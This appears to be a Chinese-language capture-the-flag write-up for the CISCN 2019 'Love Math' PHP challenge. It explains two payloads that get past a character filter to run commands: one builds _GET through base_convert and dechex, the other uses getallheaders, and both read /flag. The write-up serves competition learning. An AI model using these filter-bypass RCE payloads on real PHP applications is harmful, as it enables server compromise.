[CISCN 2019 初赛]Love Math
这道题就是bypass 利用进制转换函数构造rce 挺不错的
源码如下:
1 | <?php |
解法一:
利用进制转换函数
payload:c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=cat /flag
分析:
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324))
这一步是构造出_GET
这里用36进制原因是包含数字字母多可以构造函数名很方便
选择hex2bin这个函数是因为这个函数可以将16进制字符串转化为2进制字符串,这里可以这么理解我们常见到的字符串就是2进制的字符串(不严谨),这里面起了一个相当于将16进制转化为字符串的作用
大概如图这样的作用
拆解:
1 | $pi=_GET |
注意这里$pi
和pi
是两个不同的概念,一开始搞混了,至于这里为什么选择pi
和cos
作为参数名是因为这两个函数名占位最少,因为限制我们长度必须在80以内
解法二
利用getallheaders()函数
返回一个数组
paylaod:?c=$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
相当于构造exec(getallheaders(){1})
因为返回一个数组所以原来应该为getallheaders()[1]
因为[]
被屏蔽了,所以用{}
bypass
然后1为键名 所以在请求头增加一个1: cat/flag
即可